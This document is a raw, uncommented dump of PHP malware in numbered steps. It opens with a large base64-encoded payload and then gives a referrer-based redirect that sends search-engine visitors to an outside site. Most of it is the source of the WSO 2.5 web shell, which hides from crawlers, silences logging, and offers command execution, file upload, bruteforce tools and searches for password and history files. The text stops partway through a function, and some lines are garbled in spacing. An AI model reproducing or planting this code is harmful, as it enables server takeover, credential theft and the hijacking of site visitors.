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'\x29\x29\x29\x3B",".");
98 exit; } ?>
99
100
101
102
103Step 3.1.1 ---------------------
104
105<?php error_reporting(0);
106$nccv = headers_sent();
107if (!$nccv) {
108    $referer = $_SERVER['HTTP_REFERER'];
109    $ua = $_SERVER['HTTP_USER_AGENT'];
110    if (stristr($referer, "yahoo") or stristr($referer, "bing") or stristr($referer, "rambler") or stristr($referer, "gogo") or stristr($referer, "live.com") or stristr($referer, "aport") or stristr($referer, "nigma") or stristr($referer, "webalta") or stristr($referer, "begun.ru") or stristr($referer, "stumbleupon.com") or stristr($referer, "bit.ly") or stristr($referer, "tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/", $referer) or preg_match("/google\.(.*?)\/url\?sa/", $referer) or stristr($referer, "myspace.com") or stristr($referer, "facebook.com") or stristr($referer, "aol.com")) {
111        if (!stristr($referer, "cache") or !stristr($referer, "inurl")) {
112            header("Location: http://chilli-recipes.com/administrator/includes/joomla.php");
113            exit();
114        }
115    }
116}
117
118
119
120Step 3.1.2 -------------------------
121WSO Shell 2.5
122
123
124<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
125    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
126    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
127        header('HTTP/1.0 404 Not Found');
128        exit;
129    }
130}
131@ini_set('error_log', NULL);
132@ini_set('log_errors', 0);
133@ini_set('max_execution_time', 0);
134@set_time_limit(0);
135@set_magic_quotes_runtime(0);
136@define('WSO_VERSION', '2.5');
137if (get_magic_quotes_gpc()) {
138    function WSOstripslashes($array) {
139        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
140    }
141    $_POST = WSOstripslashes($_POST);
142    $_COOKIE = WSOstripslashes($_COOKIE);
143}
144function wsoLogin() {
145    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
146}
147function WSOsetcookie($k, $v) {
148    $_COOKIE[$k] = $v;
149    setcookie($k, $v);
150}
151if (!empty($auth_pass)) {
152    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
153    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
154}
155if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
156else $os = 'nix';
157$safe_mode = @ini_get('safe_mode');
158if (!$safe_mode) error_reporting(0);
159$disable_functions = @ini_get('disable_functions');
160$home_cwd = @getcwd();
161if (isset($_POST['c'])) @chdir($_POST['c']);
162$cwd = @getcwd();
163if ($os == 'win') {
164    $home_cwd = str_replace("\", " / ", $home_cwd); $cwd = str_replace("\", " / ", $cwd); } if($cwd[strlen($cwd) - 1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "ListDirectory" => "dir", "Findindex . phpincurrentdir" => "dir / s / w / bindex . php", "Find * config * . phpincurrentdir" => "dir / s / w / b * config * . php", "Showactiveconnections" => "netstat - an", "Showrunningservices" => "netstart", "Useraccounts" => "netuser", "Showcomputers" => "netview", "ARPTable" => "arp - a", "IPConfiguration" => "ipconfig / all" ); else $aliases = array( "Listdir" => "ls - lha", "listfileattributesonaLinuxsecondextendedfilesystem" => "lsattr - va", "showopenedports" => "netstat - an | grep - ilisten", "processstatus" => "psaux", "Find" => "", "findallsuidfiles" => "find / -typef - perm - 04000 - ls", "findsuidfilesincurrentdir" => "find . -typef - perm - 04000 - ls", "findallsgidfiles" => "find / -typef - perm - 02000 - ls", "findsgidfilesincurrentdir" => "find . -typef - perm - 02000 - ls", "findconfig . inc . phpfiles" => "find / -typef - nameconfig . inc . php", "findconfig * files" => "find / -typef - name\"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
165    function wsoHeader() {
166        if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
167        global $color;
168        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
169<style>
170body{background-color:#444;color:#e1e1e1;}
171body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
172table.info{ color:#fff;background-color:#222; }
173span,h1,a{ color: $color !important; }
174span{ font-weight: bolder; }
175h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
176div.content{ padding: 5px;margin-left:5px;background-color:#333; }
177a{ text-decoration:none; }
178a:hover{ text-decoration:underline; }
179.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
180.bigarea{ width:100%;height:300px; }
181input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
182form{ margin:0px; }
183#toolsTbl{ text-align:center; }
184.toolsInp{ width: 300px }
185.main th{text-align:left;background-color:#5e5e5e;}
186.main tr:hover{background-color:#5e5e5e}
187.l1{background-color:#444}
188.l2{background-color:#333}
189pre{font-family:Courier,Monospace;}
190</style>
191<script>
192    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
193    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
194    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
195    var p1_ = '" . ((strpos(@$_POST['p1'], "
196") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
197    var p2_ = '" . ((strpos(@$_POST['p2'], "
198") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
199    var p3_ = '" . ((strpos(@$_POST['p3'], "
200") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
201    var d = document;
202	function set(a,c,p1,p2,p3,charset) {
203		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
204		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
205		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
206		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
207		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
208		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
209	}
210	function g(a,c,p1,p2,p3,charset) {
211		set(a,c,p1,p2,p3,charset);
212		d.mf.submit();
213	}
214	function a(a,c,p1,p2,p3,charset) {
215		set(a,c,p1,p2,p3,charset);
216		var params = 'ajax=true';
217		for(i=0;i<d.mf.elements.length;i++)
218			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
219		sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
220	}
221	function sr(url, params) {
222		if (window.XMLHttpRequest)
223			req = new XMLHttpRequest();
224		else if (window.ActiveXObject)
225			req = new ActiveXObject('Microsoft.XMLHTTP');
226        if (req) {
227            req.onreadystatechange = processReqChange;
228            req.open('POST', url, true);
229            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
230            req.send(params);
231        }
232	}
233	function processReqChange() {
234		if( (req.readyState == 4) )
235			if(req.status == 200) {
236				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
237				var arr=reg.exec(req.responseText);
238				eval(arr[2].substr(0, arr[1]));
239			} else alert('Request error!');
240	}
241</script>
242<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
243<form method=post name=mf style='display:none;'>
244<input type=hidden name=a>
245<input type=hidden name=c>
246<input type=hidden name=p1>
247<input type=hidden name=p2>
248<input type=hidden name=p3>
249<input type=hidden name=charset>
250</form>";
251        $freeSpace = @diskfreespace($GLOBALS['cwd']);
252        $totalSpace = @disk_total_space($GLOBALS['cwd']);
253        $totalSpace = $totalSpace ? $totalSpace : 1;
254        $release = @php_uname('r');
255        $kernel = @php_uname('s');
256        $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
257        if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
258        else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
259        if (!function_exists('posix_getegid')) {
260            $user = @get_current_user();
261            $uid = @getmyuid();
262            $gid = @getmygid();
263            $group = "?";
264        } else {
265            $uid = @posix_getpwuid(posix_geteuid());
266            $gid = @posix_getgrgid(posix_getegid());
267            $user = $uid['name'];
268            $uid = $uid['uid'];
269            $group = $gid['name'];
270            $gid = $gid['gid'];
271        }
272        $cwd_links = '';
273        $path = explode("/", $GLOBALS['cwd']);
274        $n = count($path);
275        for ($i = 0;$i < $n - 1;$i++) {
276            $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
277            for ($j = 0;$j <= $i;$j++) $cwd_links.= $path[$j] . '/';
278            $cwd_links.= "\")'>" . $path[$i] . "/</a>";
279        }
280        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
281        $opt_charsets = '';
282        foreach ($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
283        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
284        if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
285        $m['Self remove'] = 'SelfRemove';
286        $menu = '';
287        foreach ($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
288        $drives = "";
289        if ($GLOBALS['os'] == 'win') {
290            foreach (range('c', 'z') as $drive) if (is_dir($drive . ':\')) $drives .= ' < ahref = "#"onclick = "g(\'FilesMan\',\''.$drive.':/\')" > ['.$drive.'] < / a > '; } echo ' < tableclass = infocellpadding = 3cellspacing = 0width = 100 % > < tr > < tdwidth = 1 > < span > Uname: < br > User: < br > Php: < br > Hdd: < br > Cwd:
291                                ' . ($GLOBALS['os'] == 'win'?' < br > Drives:
292                                    ':'') . ' < / span > < / td > ' . ' < td > < nobr > ' . substr(@php_uname(), 0, 120) . ' < ahref = "' . $explink . '"target = _blank > [exploit - db . com] < / a > < / nobr > < br > ' . $uid . '(' . $user . ') < span > Group: < / span > ' . $gid . '(' . $group . ') < br > ' . @phpversion() . ' < span > Safemode: < / span > ' . ($GLOBALS['safe_mode']?' < fontcolor = red > ON < / font > ':' < fontcolor = green > < b > OFF < / b > < / font > ') . ' < ahref = # onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo "
293                                             < / div > < tableclass = infoid = toolsTblcellpadding = 3cellspacing = 0width = 100 % style = 'border-top:2px solid #333;border-bottom:2px solid #333;' > < tr > < td > < formonsubmit = 'g(null,this.c.value,\"\");return false;' > < span > Changedir: < / span > < br > < inputclass = 'toolsInp'type = textname = cvalue = '" . htmlspecialchars($GLOBALS['cwd']) ."' > < inputtype = submitvalue = '>>' > < / form > < / td > < td > < formonsubmit = \"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
294	</tr><tr>
295		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
296		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
297	</tr><tr>
298		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
299		<td><form method='post' ENCTYPE='multipart/form-data'>
300		<input type=hidden name=a value='FilesMAn'>
301		<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
302		<input type=hidden name=p1 value='uploadFile'>
303		<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
304		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
305	</tr></table></div></body></html>";
306                                            }
307                                            if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
308                                                function posix_getpwuid($p) {
309                                                    return false;
310                                                }
311                                            }
312                                            if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
313                                                function posix_getgrgid($p) {
314                                                    return false;
315                                                }
316                                            }
317                                            function wsoEx($in) {
318                                                $out = '';
319                                                if (function_exists('exec')) {
320                                                    @exec($in, $out);
321                                                    $out = @join("
322", $out);
323                                                } elseif (function_exists('passthru')) {
324                                                    ob_start();
325                                                    @passthru($in);
326                                                    $out = ob_get_clean();
327                                                } elseif (function_exists('system')) {
328                                                    ob_start();
329                                                    @system($in);
330                                                    $out = ob_get_clean();
331                                                } elseif (function_exists('shell_exec')) {
332                                                    $out = shell_exec($in);
